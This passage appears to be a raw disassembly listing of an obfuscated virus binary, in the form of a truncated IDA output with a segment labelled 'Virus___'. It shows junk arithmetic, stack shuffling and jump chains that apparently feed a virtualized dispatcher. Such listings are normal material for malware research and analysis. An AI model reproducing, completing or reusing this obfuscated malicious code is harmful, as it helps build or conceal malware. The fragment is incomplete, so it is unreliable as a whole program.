ecx neg ecx xor ecx, 0C094A10Ah add eax, ecx pop ecx add eax, edx sub eax, 3F0F6719h pop edx jmp sub_54CC16 ; --------------------------------------------------------------------------- loc_543370: ; CODE XREF: sub_545A2B+4A14j shr eax, 8 sub eax, 9659FEF5h push eax sub [esp-18h+arg_12+2], 6F2A3DBDh pop ebp add ebp, 6F2A3DBDh pop eax xor ebp, 6CD87240h jmp loc_54D674 ; --------------------------------------------------------------------------- loc_543393: ; CODE XREF: sub_545A2B-1698j push [esp-20h+arg_1A+2] pop ecx add esp, 4 push edx mov edx, 638A3035h mov [edi+20h], edx pop edx dec dword ptr [edi+20h] jmp loc_54C27A ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_5433AC: ; CODE XREF: sub_543A46-50Ej pop ebp or ecx, 4EAC3CD5h inc ecx add ecx, 5AA9CFD8h add ebx, ecx pop ecx push edx push ebx jmp loc_5437B0 ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- push 3F23h mov [esp], ebx mov ebx, 1 or [edi+1Ch], ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp push edx jmp loc_544D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5433E1: ; CODE XREF: sub_545A2B+850Fj pop edi or edi, 3B076A8Eh shr edi, 7 sub edi, 0F6FEFBh mov ecx, edi jmp loc_54B59B ; --------------------------------------------------------------------------- loc_5433F8: ; CODE XREF: sub_545A2B+67FDj xor ebx, 8A3499D6h sub edi, ebx jmp loc_546217 ; --------------------------------------------------------------------------- loc_543405: ; CODE XREF: sub_545A2B+688Ej sub [esp-28h+arg_22+2], eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54340E: ; CODE XREF: sub_545A2B+92C9j add ebx, 350540A9h jmp loc_54EBC9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543419 proc near ; CODE XREF: sub_545A2B+1D0Bj sub esp, 4 jmp loc_548709 sub_543419 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543424: ; CODE XREF: sub_545A2B-2567j mov ebx, [esp-24h+arg_1E+2] add esp, 4 push edx mov edx, ecx mov ebx, edx pop edx pop ecx jmp loc_54E139 ; --------------------------------------------------------------------------- loc_543439: ; CODE XREF: sub_545A2B+5121j add esp, 4 jmp loc_54C402 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_543444 proc near ; CODE XREF: sub_545A2B+9A14j push ebp mov ebp, esp add ebp, 4 jmp loc_54AF2F sub_543444 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543452: ; CODE XREF: sub_545A2B+156Cj pop esp push ebp mov ebp, 53F40530h push ebp add [esp-2Ch+arg_26+2], 0FFFFFFFFh jmp loc_548384 ; --------------------------------------------------------------------------- loc_543463: ; CODE XREF: sub_545A2B+37A0j add ebp, edx pop edx push edx push 14183C27h pop edx not edx add edx, 14183C2Ch add ebp, edx jmp loc_544849 ; --------------------------------------------------------------------------- loc_54347C: ; CODE XREF: sub_545A2B+6DB6j pop edi pop ecx not ecx jmp loc_544AF4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_543485: ; CODE XREF: sub_54317D+9D74j xor ebx, ecx pop ecx xor ebx, 355B7912h jmp loc_543590 ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543493: ; CODE XREF: sub_545A2B-B04j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543498: ; CODE XREF: sub_545A2B-1A5Aj add esi, edx jmp loc_546DC0 ; --------------------------------------------------------------------------- loc_54349F: ; CODE XREF: sub_545A2B-5BEj mov ebx, 400D5A4Dh jmp loc_543EB1 ; --------------------------------------------------------------------------- loc_5434A9: ; CODE XREF: sub_545A2B+5943j mov ecx, [esp-34h+arg_2E+2] add esp, 4 shr ecx, 8 add ecx, 0FFFFFFFFh push ebx mov ebx, 6C6756B8h dec ebx add ebx, 93D86B54h xor ecx, ebx jmp loc_543424 ; --------------------------------------------------------------------------- loc_5434C9: ; CODE XREF: sub_545A2B+2A03j shl ecx, 3 inc ecx or ecx, 6E533EE7h add ecx, 0B01D7A6Bh push edi jmp loc_54C5BD ; --------------------------------------------------------------------------- loc_5434DF: ; CODE XREF: sub_545A2B+6DEAj push ax mov ah, 8Eh add bl, ah jmp loc_5461A8 ; --------------------------------------------------------------------------- loc_5434EA: ; CODE XREF: sub_545A2B+7E2Ej pop edx add al, 96h push ecx push eax jmp loc_543B2C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543F5A loc_5434F4: ; CODE XREF: sub_543F5A+1Cj neg ch push dx push eax mov al, ch mov dl, al pop eax not dl mov ch, dl pop dx xor ch, 0D0h mov bl, ch mov ecx, [esp+0] add esp, 4 xor al, bl push [esp-4+arg_0] pop ebx add esp, 4 jmp loc_545E71 ; END OF FUNCTION CHUNK FOR sub_543F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543520: ; CODE XREF: sub_545A2B+4FF8j mov ebx, esp push ebp jmp loc_543819 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_543528: ; CODE XREF: sub_543A46+6j mov [esp+4+var_4], ecx mov ecx, 30FF367Ch push ebp mov ebp, 75F42E81h add ecx, ebp jmp loc_5433AC ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54353D: ; CODE XREF: sub_545A2B-2072j push edi push esp pop edi jmp loc_54AE78 ; --------------------------------------------------------------------------- loc_543545: ; CODE XREF: sub_545A2B+67EDj shl word ptr [esp-22h+arg_1E], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54354F: ; CODE XREF: sub_545A2B-11AFj shr ecx, 4 sub ecx, 1A1E29C4h jmp loc_54D450 ; --------------------------------------------------------------------------- loc_54355D: ; CODE XREF: sub_545A2B-1C45j pop ecx xchg eax, [esp-22h+arg_1E] jmp loc_54AD9C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_543566: ; DATA XREF: Virus___:00542E18o movzx ax, byte ptr [edx] push small 6C8Bh mov [esp], ax jmp loc_54A3F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543577: ; CODE XREF: sub_545A2B+6AAFj add esi, ebp pop ebp jmp loc_54F034 ; --------------------------------------------------------------------------- loc_54357F: ; CODE XREF: sub_545A2B+3589j push esp pop [esp-22h+arg_1E] push 2049h mov [esp-22h+arg_1E], edx jmp loc_545F31 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_543590: ; CODE XREF: sub_54317D+311j add ebx, 983E9724h add eax, ebx jmp loc_54D904 ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- loc_54359D: ; CODE XREF: Virus___:00543AB0j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add [esp], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5435B1: ; CODE XREF: sub_545A2B-AD2j mov ecx, 6C201A1Dh add eax, ecx pop ecx sub eax, ebx push edi mov edi, 6CE50A4Ah not edi shl edi, 3 shr edi, 4 not edi add edi, 75AD94F8h sub eax, edi push [esp-22h+arg_1E] pop edi add esp, 4 mov ebx, [esp-26h+arg_22] push ebx jmp sub_54EB9E ; --------------------------------------------------------------------------- loc_5435E3: ; CODE XREF: sub_545A2B+9Dj mov ebx, 46A975AAh add ebx, 1A816C3h xor ebx, 1F4AF509h add edi, ebx pop ebx push ebp mov ebp, 11BB0C84h neg ebp add ebp, 8701423Ah sub edi, ebp pop ebp add edi, esi jmp loc_54B9B0 ; --------------------------------------------------------------------------- loc_54360F: ; CODE XREF: sub_545A2B+6767j sub edi, 0D86BAFDCh add edx, edi mov edi, [esp-26h+arg_22] add esp, 4 add edx, 4 xchg edx, [esp-2Ah+arg_26] pop esp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54362C: ; CODE XREF: sub_545A2B+6531j add esi, 4 push esi push [esp-2Ah+arg_2A] mov esi, [esp-26h+arg_22] add esp, 4 pop [esp-2Ah+arg_26] mov esp, [esp-2Eh+arg_2A] movzx ecx, ax push edi jmp sub_543958 ; --------------------------------------------------------------------------- loc_54364C: ; CODE XREF: sub_545A2B+6F9Bj push 16F5h mov [esp-26h+arg_22], eax push esp jmp loc_549E49 ; --------------------------------------------------------------------------- loc_54365A: ; CODE XREF: sub_545A2B+8B0j test cx, ax pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_542FBE loc_543663: ; CODE XREF: sub_542FBE+C0C3j add esi, ebp pop ebp sub esi, 10EE5DBAh sub esi, 0ACA62E48h add ebx, esi pop esi sub ebx, 96151A0h jmp loc_54D55F ; END OF FUNCTION CHUNK FOR sub_542FBE ; =============== S U B R O U T I N E ======================================= sub_543680 proc near ; CODE XREF: sub_545A2B+89B0j ; FUNCTION CHUNK AT 0054DB6C SIZE 00000011 BYTES push ebx mov ebx, 3F7D6998h or ebx, 38DD7AD0h xor ebx, 0CF4724BFh sub edx, ebx pop ebx xor eax, edx mov edx, [esp+0] add esp, 4 push edx mov edx, esp jmp loc_54DB6C sub_543680 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5436A5: ; CODE XREF: sub_545A2B+1C44j push esp mov ebp, [esp-1Ah+arg_16] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4093384Fh jmp loc_5495E1 ; --------------------------------------------------------------------------- loc_5436BD: ; CODE XREF: sub_545A2B+662Fj mov ecx, 571A3761h jmp loc_54AAF5 ; --------------------------------------------------------------------------- loc_5436C7: ; CODE XREF: sub_545A2B+51E7j mov [esp-12h+arg_E], eax push esp pop eax add eax, 4 push edx mov edx, 4 sub eax, edx pop edx push eax push [esp-0Eh+arg_E] pop eax jmp loc_54E8F9 ; --------------------------------------------------------------------------- loc_5436E5: ; CODE XREF: sub_545A2B-1D5j pop edx jmp loc_544E1D ; --------------------------------------------------------------------------- loc_5436EB: ; CODE XREF: sub_545A2B-14A4j push ecx mov ch, 0AEh jmp sub_543F5A ; --------------------------------------------------------------------------- loc_5436F3: ; CODE XREF: sub_545A2B+4B41j pop ebx add edi, ecx jmp loc_54D6C6 ; --------------------------------------------------------------------------- loc_5436FB: ; CODE XREF: sub_545A2B+8EA5j mov edi, 0E8C53D1Ah add edi, ecx pop ecx sub edx, 41DF1DFDh sub edx, edi jmp loc_54D85E ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543710 proc near ; CODE XREF: sub_545A2B+A0Dj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005438E6 SIZE 00000016 BYTES push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax push [esp+8+var_8] pop eax add esp, 4 push 40AEh mov [esp+8+var_8], esi mov esi, 2 sub ebx, 130F2DC1h push edx mov edx, 42C7365Bh dec edx shl edx, 4 not edx sub edx, 0D0FD97D0h jmp loc_5438E6 sub_543710 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54374F: ; CODE XREF: sub_545A2B+415Ej push edx mov edx, 0D4C323Fh jmp loc_544D3A ; --------------------------------------------------------------------------- loc_54375A: ; CODE XREF: sub_545A2B+1607j add esp, 4 xor ecx, [esp-16h+arg_12] xor [esp-16h+arg_12], ecx xor ecx, [esp-16h+arg_12] jmp loc_54CE19 ; --------------------------------------------------------------------------- loc_54376E: ; CODE XREF: sub_545A2B+8A5Aj shl edi, 8 jmp loc_5479E5 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543776 proc near ; CODE XREF: sub_545A2B+5C5j var_4 = dword ptr -4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp+4+var_4] jmp loc_547CA3 sub_543776 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54378D: ; CODE XREF: sub_545A2B+5709j mov edx, 0A4632D2h mov ebp, 0A5D18A1h xor ebp, edx jmp loc_54ACC7 ; --------------------------------------------------------------------------- loc_54379E: ; CODE XREF: sub_545A2B+68B1j pop esi push edx mov edx, 4 push ebp mov ebp, 42C33B88h jmp loc_5495FC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_5437B0: ; CODE XREF: sub_543A46-687j mov ebx, 79E8458Fh shl ebx, 1 jmp loc_54D502 ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5437BC: ; CODE XREF: sub_545A2B+2BA6j sub edi, ebx pop ebx jmp loc_54D2F5 ; --------------------------------------------------------------------------- loc_5437C4: ; CODE XREF: sub_545A2B+6ABFj add edx, eax pop eax add edx, 298123A2h sub edx, ecx jmp loc_54E7C9 ; --------------------------------------------------------------------------- loc_5437D4: ; CODE XREF: sub_545A2B+5072j pop esi or ebp, 0F8A00EEh push ebx mov ebx, 175B01D0h add ebx, 3F633CC9h dec ebx xor ebx, 0F25B46BBh sub ebp, ebx pop ebx jmp loc_5466C5 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5437F6 proc near ; DATA XREF: Virus___:00542E58o lodsb xor al, bl push edx push eax push ebx mov bh, 56h jmp loc_549E3E sub_5437F6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543803: ; CODE XREF: sub_545A2B+3B13j add esp, 4 xor eax, edx mov edx, [esp-22h+arg_1E] push ebp push esp pop ebp push ebx mov ebx, 35075DE1h jmp loc_54E0BE ; --------------------------------------------------------------------------- loc_543819: ; CODE XREF: sub_545A2B-2508j mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp-2Ah+arg_26] pop esp jmp loc_54DEA1 ; --------------------------------------------------------------------------- loc_54382D: ; CODE XREF: sub_545A2B+AC1j pop ebp jmp loc_54C6B8 ; --------------------------------------------------------------------------- loc_543833: ; CODE XREF: sub_545A2B+6C51j xor ebp, [esp-32h+arg_2E] mov esp, [esp-32h+arg_2E] mul cl jmp loc_5490B0 ; --------------------------------------------------------------------------- loc_543840: ; CODE XREF: sub_545A2B+3898j add eax, ebx sub eax, 3EC85A41h push edi jmp loc_54330B ; --------------------------------------------------------------------------- loc_54384D: ; CODE XREF: sub_545A2B-B49j mov esi, 4DB9747Ah shr esi, 2 add esi, 47217FF7h jmp loc_54400E ; --------------------------------------------------------------------------- loc_543860: ; CODE XREF: sub_545A2B+6FEj pop cx jmp loc_547B77 ; --------------------------------------------------------------------------- loc_543867: ; CODE XREF: sub_545A2B+25D0j pop esp and [esp-34h+arg_2E+2], eax pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D226 loc_543871: ; CODE XREF: sub_54D226+1Ej xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] jmp loc_5488AC ; END OF FUNCTION CHUNK FOR sub_54D226 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54387F: ; CODE XREF: sub_545A2B+2DD6j add ebp, 2 push 1AC3h mov [esp-2Ch+arg_26+2], ebp push [esp-2Ch+arg_2A+2] push [esp-28h+arg_22+2] pop ebp add esp, 4 pop [esp-2Ch+arg_26+2] mov esp, [esp-30h+arg_2A+2] mov ax, word ptr [esp-30h+arg_2A+2] push esi jmp loc_54A173 ; --------------------------------------------------------------------------- loc_5438A8: ; CODE XREF: sub_545A2B+35Aj mov edi, 2DC67F75h xor edi, 34FF13B3h not edi inc edi xor edi, 169E6500h not edi inc edi xor edi, 0E9B8E9C4h add ebx, edi pop edi add ebp, ebx pop ebx xor ebp, [esp-34h+arg_2E+2] xor [esp-34h+arg_2E+2], ebp xor ebp, [esp-34h+arg_2E+2] pop esp movzx cx, al push small 7A8h mov word ptr [esp-36h+arg_32], cx jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543710 loc_5438E6: ; CODE XREF: sub_543710+3Aj add ebx, edx pop edx sub ebx, 4AF46876h add ebx, esi add ebx, 4AF46876h jmp loc_54BB8A ; END OF FUNCTION CHUNK FOR sub_543710 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5438FC: ; CODE XREF: sub_545A2B+3485j add edi, 2E3F7358h mov esi, [esp-36h+arg_32] add esp, 4 jmp loc_546874 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D650 loc_543910: ; CODE XREF: sub_54D650-8866j pop esp pop [esp+8+var_8] jmp loc_549B56 ; END OF FUNCTION CHUNK FOR sub_54D650 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543919: ; CODE XREF: sub_545A2B+5F8j sub edi, eax push [esp-3Ah+arg_36] pop eax add esp, 4 xchg edi, [esp-3Eh+arg_3A] pop esp mov word ptr [esp-42h+arg_3E], dx push ax pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54F099 loc_543932: ; CODE XREF: sub_54F099+Ej pop esi jmp loc_546AB1 ; END OF FUNCTION CHUNK FOR sub_54F099 ; --------------------------------------------------------------------------- lodsd jmp loc_544683 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_544C48 loc_54393E: ; CODE XREF: sub_544C48+17j mov [esp+0], bx push 1F46h mov [esp+0], eax mov al, 4Fh and al, 12h or al, 0BAh shl al, 5 jmp loc_54617A ; END OF FUNCTION CHUNK FOR sub_544C48 ; =============== S U B R O U T I N E ======================================= sub_543958 proc near ; CODE XREF: sub_545A2B-23E4j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 push esp pop [esp+8+var_8] push esi push ebp mov ebp, 4 mov esi, ebp pop ebp add [esp+8+var_4], esi pop esi mov edi, [esp+4+var_4] add esp, 4 add edi, 4 push ebx mov ebx, 4 jmp loc_5471AB sub_543958 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543988: ; CODE XREF: sub_545A2B+6DC9j mov bl, byte ptr [esp-3Ch+arg_3A+2] mov byte ptr [esp-3Ch+arg_3A+2], ch pop ecx jmp loc_54C21D ; --------------------------------------------------------------------------- loc_543996: ; CODE XREF: sub_545A2B+640Fj shr edx, 7 sub edx, 0C7E96A0Ah add [esp-40h+arg_42+2], 459B4C19h sub [esp-40h+arg_42+2], 37AD39EAh jmp loc_54504A ; --------------------------------------------------------------------------- loc_5439B4: ; CODE XREF: sub_545A2B+4B49j and eax, ecx mov ecx, [esp-40h+arg_3A+2] jmp loc_54353D ; --------------------------------------------------------------------------- loc_5439BE: ; CODE XREF: sub_545A2B+2560j mov ch, dh pop edx jmp loc_545315 ; --------------------------------------------------------------------------- loc_5439C6: ; CODE XREF: sub_545A2B+951Cj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5439CB: ; CODE XREF: sub_545A2B-F7Ej pop edi sub edx, ebp pop ebp and eax, edx mov edx, [esp-4Ch+arg_46+2] jmp loc_54EC18 ; --------------------------------------------------------------------------- loc_5439D9: ; CODE XREF: sub_545A2B+4B76j dec dl dec dl sub dl, 47h xor dl, 0E8h or bl, dl pop edx add bl, 0DBh push 1F1Bh mov [esp-4Ch+arg_46+2], ecx mov cl, 0Dh jmp loc_547863 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54E084 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_543A01: ; CODE XREF: sub_54317D+21j mov ebx, esi pop esi push edx mov edx, 755E33A3h not edx not edx xor edx, 25E64E27h or ebx, edx pop edx push ecx jmp loc_54C97C ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543A1D: ; CODE XREF: sub_545A2B+4E2Dj pop ebp jmp loc_54C681 ; --------------------------------------------------------------------------- loc_543A23: ; CODE XREF: sub_545A2B+206j mov eax, 4F4D6C62h sub esp, 4 jmp loc_54C901 ; --------------------------------------------------------------------------- loc_543A33: ; CODE XREF: sub_545A2B+350Fj add eax, 4 push edx push 4 mov edx, [esp-44h+arg_3E+2] jmp loc_54915B ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543A46 proc near ; CODE XREF: sub_545A2B+1BFj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005433AC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00543528 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005437B0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00544F7E SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005455EE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0054D502 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0054DD59 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0054E774 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0054EFC7 SIZE 00000012 BYTES sub esp, 4 jmp loc_543528 sub_543A46 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543A51: ; CODE XREF: sub_545A2B+3BEj xchg esi, [esp-44h+arg_3E+2] pop esp push 633Ah mov [esp-44h+arg_3E+2], ebx push edx push edi mov edi, 27C557D6h push ecx mov ecx, 0DA71CB97h mov edx, ecx jmp loc_549E35 ; --------------------------------------------------------------------------- loc_543A71: ; CODE XREF: sub_545A2B+9626j xchg ebp, esi inc esi sub esi, 0CCDD574Ch jmp loc_547E15 ; --------------------------------------------------------------------------- loc_543A7F: ; CODE XREF: sub_545A2B+36CEj add dh, 0D6h jmp loc_54BECC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_543A87: ; CODE XREF: Virus___:00543EACj push ecx push 0C7Bh mov [esp], edx push 721A122Fh pop edx add edx, 8DE5EDD5h push esi mov esi, edx push edx push esi pop edx mov ecx, edx pop edx pop esi pop edx add edi, ecx pop ecx add edi, 2 jmp loc_54359D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543AB5: ; CODE XREF: sub_545A2B+81ADj mov ecx, 2DE62B78h inc ecx add ecx, 3199F6B5h xor esi, ecx jmp loc_5487D9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5440AE loc_543AC8: ; CODE XREF: sub_5440AE+90EFj sub edx, 5AEA7987h sub edx, 71394417h push 4E51h jmp loc_54853E ; END OF FUNCTION CHUNK FOR sub_5440AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543ADE: ; CODE XREF: sub_545A2B+8A1Cj push edx mov dl, 40h neg dl shl dl, 2 sub dl, 0A7h or bh, dl pop edx or bh, 0CEh xor bh, 0D0h xor al, bh pop ebx jmp loc_548C14 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54CEC0 loc_543AFA: ; CODE XREF: sub_54CEC0+17j push ecx mov ecx, 199216F3h jmp loc_54F35F ; END OF FUNCTION CHUNK FOR sub_54CEC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543B05: ; CODE XREF: sub_545A2B+68D3j push ecx mov ecx, 51171109h jmp loc_5495E9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx jmp loc_544FD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543B22: ; CODE XREF: sub_545A2B+1348j mov esi, 1CAE5458h jmp loc_546050 ; --------------------------------------------------------------------------- loc_543B2C: ; CODE XREF: sub_545A2B-253Cj mov ah, 7Ch not ah xor ah, 0FCh dec ah jmp loc_547F83 ; --------------------------------------------------------------------------- loc_543B3A: ; CODE XREF: sub_545A2B+4954j push ecx mov ecx, 0FFFFFFFFh jmp loc_54CC24 ; --------------------------------------------------------------------------- loc_543B45: ; CODE XREF: sub_545A2B+6012j and ecx, 32533F75h dec ecx add ecx, 782C5215h xor ecx, 0BC4C1CF4h add ebx, ecx pop ecx sub ebx, 5201620Fh add ebx, 32F29B23h add edx, ebx pop ebx push edx push [esp-2Ah+arg_2A] mov edx, [esp-26h+arg_22] add esp, 4 pop [esp-2Ah+arg_26] mov esp, [esp-2Eh+arg_2A] jmp loc_54F392 ; --------------------------------------------------------------------------- loc_543B83: ; CODE XREF: sub_545A2B-1D82j pop edx shr bh, 3 or bh, 0C8h and bh, 99h push ecx mov ch, 2Bh shl ch, 2 jmp loc_54ADAF ; --------------------------------------------------------------------------- loc_543B98: ; CODE XREF: sub_545A2B+53AEj mov ecx, 49095E22h inc ecx shr ecx, 4 xor ecx, 5986F5B7h sub edx, ecx pop ecx sub edx, 1F3F10F2h jmp loc_54F00D ; --------------------------------------------------------------------------- loc_543BB5: ; CODE XREF: sub_545A2B+1B28j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543BBA: ; CODE XREF: sub_545A2B+1A72j sub eax, 786F252Ah sub eax, edi add eax, 786F252Ah sub eax, 25AD7FC2h pop edi push edx mov edx, 6DB72B1Bh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp-2Eh+arg_2A] xor [esp-2Eh+arg_2A], ecx xor ecx, [esp-2Eh+arg_2A] mov esp, [esp-2Eh+arg_2A] mov [esp-2Eh+arg_2A], esi mov esi, 436F3BC5h jmp loc_5462E0 ; --------------------------------------------------------------------------- loc_543BF7: ; CODE XREF: sub_545A2B+2D7Dj add edx, 4 jmp sub_54537B ; --------------------------------------------------------------------------- loc_543C02: ; CODE XREF: sub_545A2B+95B4j add eax, 4 jmp loc_546C54 ; --------------------------------------------------------------------------- loc_543C0C: ; CODE XREF: sub_545A2B+2DE7j add esi, 2 xor esi, [esp-2Eh+arg_2A] jmp loc_54CFA9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_543C1A: ; CODE XREF: Virus___:0054EC13j add eax, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push edi jmp loc_54DB01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543C34: ; CODE XREF: sub_545A2B+47B7j pop edi sub eax, ebx jmp loc_543CFD ; --------------------------------------------------------------------------- loc_543C3C: ; CODE XREF: sub_545A2B+7238j push small word ptr [eax] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543C44: ; CODE XREF: sub_545A2B+6A25j not esi jmp loc_5480AB ; --------------------------------------------------------------------------- loc_543C4B: ; CODE XREF: sub_545A2B+9669j add edx, ebx pop ebx add ecx, edx pop edx add ecx, 4B801990h pop eax add ecx, 4 push ecx push [esp-38h+arg_36+2] mov ecx, [esp-34h+arg_2E+2] add esp, 4 pop [esp-38h+arg_32+2] jmp loc_548422 ; --------------------------------------------------------------------------- loc_543C74: ; CODE XREF: sub_545A2B+5DB5j mov ebp, esp jmp loc_54EA87 ; --------------------------------------------------------------------------- loc_543C7B: ; CODE XREF: sub_545A2B+1F1Dj push 5B62h mov [esp-38h+arg_32+2], ebp jmp loc_54E216 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_543C88: ; DATA XREF: Virus___:00542EC0o push 698Ah jmp loc_544F2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543C92: ; CODE XREF: sub_545A2B+1FAFj xor [esp-38h+arg_32+2], ebx xor ebx, [esp-38h+arg_32+2] jmp loc_549EAC ; --------------------------------------------------------------------------- loc_543C9D: ; CODE XREF: sub_545A2B+9F7j shl dh, 1 or dh, 0E8h inc dh xor dh, 38h add bh, dh jmp loc_543B83 ; --------------------------------------------------------------------------- loc_543CAE: ; CODE XREF: sub_545A2B+4F16j mov ecx, 4 add ebp, ecx jmp loc_54EA9A ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543CBA proc near ; DATA XREF: Virus___:00542E74o var_4 = dword ptr -4 mov ax, [esp+0] push 595Dh mov [esp+4+var_4], ecx jmp loc_54B35F sub_543CBA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543CCB: ; CODE XREF: sub_545A2B+8C8Aj mov eax, ecx mov ecx, [esp-38h+arg_32+2] add esp, 4 add eax, 6E41540Fh sub 